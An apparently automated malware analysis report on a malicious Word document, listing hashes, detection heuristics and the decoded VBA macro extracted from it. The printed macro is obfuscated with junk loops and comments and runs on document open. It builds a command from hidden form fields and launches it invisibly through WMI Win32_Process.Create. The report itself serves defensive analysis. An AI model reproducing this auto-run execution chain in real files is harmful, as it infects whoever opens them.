Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f25ef6f747302300…

MALICIOUS

Office (OLE)

150.5 KB Created: 2019-05-09 11:14:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: 721a78d0ed954ce4c4feb76840603738 SHA-1: 65dd12b89b993484ea6199eda416b49cc36feb0d SHA-256: f25ef6f7473023004f61661a56cbf8c87f866daad7d9964b8e96c340ae50fd63
250 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-6972857-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6972857-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set s8344352 = i09595(GetObject("winmgmts:W" + "in32_P" + "rocess"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set s8344352 = i09595(GetObject("winmgmts:W" + "in32_P" + "rocess"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7772 bytes
SHA-256: 99a64718f7e763e7e7e61bacc0170ca02c2b18899daaa038be546c7a80128fdd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "D87796"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "v40503"
Attribute VB_Base = "0{A469A894-A152-48DE-BCA7-6AFA796BB894}{259606F5-800C-42CD-A3D8-AC923731E1CA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D633813"

Attribute VB_Name = "Z_7790_1"

Attribute VB_Name = "l7781590"
Attribute VB_Base = "0{E87483F0-C076-4727-8A04-2DF38AA4BC35}{529BFAD8-E557-4CA9-ABA6-C388D3D113C2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "X1645795"
Function i09595(u911308)
         While s63208 And J454638
 _
 _
 _
't86262i475526l18_472N112065
'n805409J19209_t362412Q662_0
 _
 _
 _
 _
'v7499312i23424T_84035o011062
      Wend
         While w996645 And H595152
 _
 _
 _
'I1311969w_0399p1988147A0879634
'm_196397w79648V385689Q24_564
 _
 _
 _
 _
'z1353841D332690Q54_68w462646
      Wend
         While B4530534 And k0481063
 _
 _
 _
'w90374h10_85T9807637l13_0456
'W3879_C83__268b663287j37627
 _
 _
 _
 _
'I212803l922528T931__20Y2155847
      Wend
Set i09595 = CVar(u911308)
         While j04255 And n0812797
 _
 _
 _
'U99_0239w71069A09619n5_1469
'Z6812_z12996i750_8_U993_6
 _
 _
 _
 _
'h1461002n09__7v4349689s01640
      Wend
         While O3761731 And B212248
 _
 _
 _
'o84072o121187F50356k7738870
'L_41582Y7_661Q01526Y9324723
 _
 _
 _
 _
'F_1_31_L921305n31643z4805852
      Wend
End Function
Sub _
autoopen()
On Error Resume Next
         While N3348051 And X6857025
 _
 _
 _
'j161_9L3388_3q602874j1258731
'n25_79m999235q1_62012s68689_
 _
 _
 _
 _
'X734037u00_59M9734944C32_3710
      Wend
         While h930132 And P_864559
 _
 _
 _
'r31498T68919Y_8083T21792
'Z70475i29927Z3_51378z88933
 _
 _
 _
 _
'N508717a56004i27241b695006
      Wend
Call b6192112
         While C4574_ And W330774
 _
 _
 _
's2875858J357913v4093969q970563
'i71_3635W949555X0_0814S126773
 _
 _
 _
 _
'S8314634C25_701o500971u397261
      Wend
         While E2795_82 And f13649
 _
 _
 _
'A5_88661V44865O745_501z86405
'z56245m600693O675798B9725_7
 _
 _
 _
 _
'u423__5J663619c05892_5f1043442
      Wend
         While A8125_23 And b4560043
 _
 _
 _
'j2_9540B8142___H9930583d5913409
'E204_26_u04610_T91464w2923938
 _
 _
 _
 _
'V48_8__0O15408z9413370k119_06
      Wend
End Sub


Attribute VB_Name = "f1_5660"
Function b6192112()
On Error Resume Next
         While f0_19132 And i562848_
 _
 _
 _
's8830765f54963I30_545t304148
'J8337954H97653u03401G0_7278
 _
 _
 _
 _
'J3_827K80395C02900A86581
      Wend
         While v28_392 And w46410_
 _
 _
 _
'X_5824P7273135l3_123N06_58
'n533_4_5b_83305i25921G44257
 _
 _
 _
 _
't25453i885187V6947230E24155_4
      Wend
         While D9900_ And p02812_
 _
 _
 _
'a_570453F_470313h82_9808Q43275
'M547112O46_0_4p5926996n2_69717
 _
 _
 _
 _
'j20327N65__97_w79644O08504
      Wend
r_489187 = v40503.W87442.ControlSource + l7781590.X_78495 + v40503.W87442.ControlTipText + l7781590.d20_1_90 + v40503.W87442.ControlTipText + v40503.W87442 + l7781590.c5_123 + v40503.W87442.ControlSource + v40503.W87442.ControlSource + l7781590.D323_47 + v40503.W87442 + l7781590.Z47757 + v40503.W87442
         While w02_54 And a4420480
 _
 _
 _
'm3725611C2431333h619840j_6510_
'U7_44795G82672K05286D79351
 _
 _
 _
 _
'r86426_j50750c9844_C638091_
      Wend
         While l26519 And p8015430
 _
 _
 _
'm592469_L9_20448r63519b599139
'j91723C9822162L24162I35994_
 _
 _
 _
 _
'u8684591Z5538127f3_58183R3247554
      Wend
         While B236259 And Y102196
 _
 _
 _
'S41112H3077452V355_7c66249
'w26_210a99085Z180_459F41_263
 _
 _
 _
 _
'j22452s620262X6_92226L7837424
      Wend
Set s8344352 = i09595(GetObject("winmgmts:W" + "in32_P" + "rocess"))
         While i_141331 And h5__57_2
 _
 _
 _
'q_7402R4312611m26967L0510988
'U85_6684M5_4995E516100W65574
 _
 _
 _
 _
'o97112i9_132E94425H5__200
      Wend
         While w_84192 And f_6254
 _
 _
 _
'z_1395f344_9_p205179A0966680
'b5277_5I39_6672w4481527s8137638
 _
 _
 _
 _
'V71156O__48272F3544906T14_794
      Wend
s8344352.Create L62342 + r_489187 + w_85367, D342_587, a4_2839, z8_030_
         While z280063 And z726_974
 _
 _
 _
'F7699773v6895367z761111u535880
'v44494_Q18319_0U88790j21178
 _
 _
 _
 _
'M480227o8745593j38752U03612
      Wend
         While Z76091 And J557_5_
 _
 _
 _
'C740_7m3415474i12442_L093576
'c561631X91933Q_9330q9_105
 _
 _
 _
 _
'M94_87a06255M246424u851951
      Wend
End Function


Attribute VB_Name = "I8_4250"

Public Function a4_2839()
         While z6612129 And R86544_
 _
 _
 _
'K4175951w83884_6U__626A754939
'w1391601D02502O576___Y80101
 _
 _
 _
 _
'V75561R87_37j644524X5512398
      Wend
         While v7529_6 And C72968
 _
 _
 _
'M_090960m6_8817v67864T98653_4
'f19045J35_1388j3552_l244_4
 _
 _
 _
 _
'A9313358X58698_P82_0928u31912_
      Wend
Set a4_2839 = i09595(GetObject("winmgmts:W" + "in32_P" + "rocessStartup"))
         While j135970_ And Z979_694
 _
 _
 _
'U225568D680_5G40_7023Q844013
'w0_304_o_7507L69412T_9978
 _
 _
 _
 _
'u213118p519_9t987208Z43091
      Wend
         While l62928 And s247812
 _
 _
 _
'r4259867I461356z69_402b2113_3
'p_0821Q52222z515968E_622705
 _
 _
 _
 _
'n9448917W4_873W64479i33939
      Wend
c829279 = vbError - vbError
         While m506_095 And k38_29_
 _
 _
 _
'N_53213t5237615Y_6084_2j82_390
'n68497a73_891m19_203M32_978
 _
 _
 _
 _
'T98847b96_015q73776Q046073
      Wend
         While r874_4 And n76842
 _
 _
 _
'q9257750O33507s479594F6894142
'n734817H5806049S42103b_30311
 _
 _
 _
 _
'j1089854j301311f64146j32702
      Wend
         While W994588 And u10338
 _
 _
 _
'p7527312c52244_P10470t94261
'T660683G91896R68_4031T86159
 _
 _
 _
 _
'p5897063d52315l718305h7143298
      Wend
With a4_2839
         While p58_39 And j51_3065
 _
 _
 _
'h4_6600T_9390z08626Q28078
'U57440I68103Y97671D4382298
 _
 _
 _
 _
'r536811h0042_7J0640931v19_53
      Wend
         While T43991 And X71961
 _
 _
 _
't6810_02R287115z992885j6_9604
'm456233b061507_R14566i78031
 _
 _
 _
 _
'L16760_0t721377V5__182M88658
      Wend
         While S95264 And F8_48944
 _
 _
 _
'l079289A25_10f370231B387_68
'D97894U098_6k136776i6181889
 _
 _
 _
 _
'F9_63210k1902456Z36_2994F03988
      Wend
. _
ShowWindow = c829279 + c829279 + c829279 + c829279 + c829279 + c829279 + c829279
         While i33304 And f727_3
 _
 _
 _
'q301_2D5834_W146_222K71323
'U26316_3i707722s382908_t46057
 _
 _
 _
 _
'J1968_8Y710134k195574I29519
      Wend
         While M4021_10 And o4_08_
 _
 _
 _
't426516T65654D412158_V275_5_
'p900878v74_81A600674Q9_717
 _
 _
 _
 _
'W1365649b16579V504273z89_12
      Wend
End With
         While l82_5647 And i__09020
 _
 _
 _
'c__78107u6551899c26636H644913
'Y458827_b912413U553656b9523_4
 _
 _
 _
 _
'Y0__72_G5_4790B203221I562908
      Wend
         While j867769 And u5742__
 _
 _
 _
'b1__251i55286m5224866i_5189
'D6862614v991043Z3456546f8829602
 _
 _
 _
 _
'f1_816c120315G3191576f_712_
      Wend
End Function